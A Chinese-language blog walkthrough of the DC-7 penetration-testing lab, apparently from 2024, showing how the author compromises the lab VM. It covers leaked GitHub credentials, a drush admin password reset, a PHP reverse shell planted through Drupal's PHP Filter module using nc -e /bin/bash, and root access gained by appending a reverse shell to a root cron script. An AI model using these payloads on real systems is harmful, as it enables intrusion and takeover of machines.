DC-7靶机做题记录

靶机下载地址:

链接:https://pan.baidu.com/s/1w2c_QKd_hOoR2AzNrdZjMg?pwd=tdky 
提取码:tdky 

参考:

image.png
描述:

DESCRIPTION 说明
DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
DC-7是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。

While this isn't an overly technical challenge, it isn't exactly easy.
虽然这不是一个过于技术性的挑战,但也并不容易。

While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won't succeed.
虽然这是早期DC版本的一个逻辑进展(我不会告诉你是哪一个),但其中涉及一些新概念,但你需要自己弄清楚。:-)如果你需要诉诸暴力或字典攻击,你可能不会成功。

What you will need to do, is to think "outside" of the box.
你需要做的是跳出框框思考。

Waaaaaay "outside" of the box. :-)
Waaaaaay“在盒子外面”。:-)

The ultimate goal of this challenge is to get root and to read the one and only flag.
这个挑战的最终目标是扎根并阅读唯一的旗帜。

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Linux技能和熟悉Linux命令行是必须的,有一些基本渗透测试工具的经验也是必须的。

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7上向我推特寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。

1、导入VMware虚拟机

下载完成后,得到DC-7.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。

2、拍摄快照,防止后面出问题,有快照还能恢复到初始设置
image.png
3、kali创建一个目录 dc7 ,后续的操作都在该目录下进行
image.png

使用工具

攻击者:kali 192.168.1.128
靶机:dc-3 192.168.1.135

一.信息收集

基础信息查询

0x01 查看存活主机 0x02 查看开放端口 和 0x03 查看端口服务

这几条命令的用法可以看之前的博客,这里不再赘述
image.png
发现靶机192.168.1.135开放了80和22端口

判断 CMS

来到 DC7 Web ⻚⾯,可以看到 CMS 是 Drupal
image.png
再次信息收集
发现主⻚存在⼀些信息:
image.png
发现下面有一个@DC7USER
那我们就用搜索引擎去搜索一下,发现了一个Github
image.png
config.php配置文件中发现了账号密码
image.png
尝试登录web页面,发现无法登录
image.png
那就尝试SSH登录,登录成功

ssh dc7user@192.168.1.135

image.png
发现了个root用户的定时文件backups.sh,接下来看一下文件权限
image.png

ls -la /opt/scripts/

image.png

-rwxrwxr-x 1 root www-data  520 Aug 29  2019 backups.sh
root用户及其组用户(www-data)可以写入读取执行·,但其他用户没有写入的权限,只有读和执行的权限

backups.sh 内容如下 :
image.png
再回到/home/dc7user目录下查看一下,
发现 backups:备份⽂件
mbox:内容看着像⼀个定时备份,但是失败⽽保存的邮件
还有 .drush 这个目录
image.png
image.png
backups.sh 中也有 drush命令
image.png
发现了个drush命令,这个是drupal专属的一个操作系统命令,参考Drupal drush 常用命令

drush修改密码

使用这个命令需要先切换到drupal的目录

cd /var/www/html

查看用户信息
image.png
我们查看一下admin的用户信息

drush user-information admin

image.png
接下来修改admin的密码

drush upwd admin --password="admin"

image.png
然后我们登录后台,用admin管理员的账号
image.png
成功登录
image.png

反弹shell

进入后台之后,我们要写木马来进行反弹shell
点击内容,并点击编辑,看看能不能把PHP代码写进去
image.png
并未发现支持PHP代码的
image.png
这个时候我们需要安装 PHP Filter 模块
image.png
先把它下载到本地

然后拖进去进行安装
image.png
image.png
还需要再勾选一遍
image.png
这样才算成功安装
image.png
此时,页面编辑器中就出现了 PHP code
image.png
在 Body 中添加反弹shell 的pho代码

<?php system("nc -e /bin/bash 192.168.1.128 1234");?>

点击保存
image.png
现在先在我们的kali里面监听1234端口

nc -lvvnp 1234

image.png
然后访问一下 Welcome to DC-7这个页面,来让它解析PHP代码以触发反弹shell 的命令
image.png
成功反弹过来了
image.png

优化 SHELL

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

权限提升

修改定时脚本⽂件提权

echo "nc -e /bin/bash 192.168.1.128 4321" >> backups.sh

image.png
本地监听:

nc -lvvnp 4321

image.png
等待反弹过来即可
因为这个backups.sh的脚本是以root的身份执行的,所以弹回来的shell也是root权限的shell
提权成功!
image.png
成功获取到flag!

总结

  1. 第一步非常难,就是要找到它的Github的信息泄露
  2. 对drush的了解,可能国外的人用到就比较多
  3. 要解决它支持PHP代码的问题,需要安装支持PHP的插件
  4. 对定时任务的了解,邮件的定时任务,能够去发现一些脚本的内容

完毕!

posted @ 2024-01-21 23:49  Fab1an  阅读(95)  评论(0编辑  收藏  举报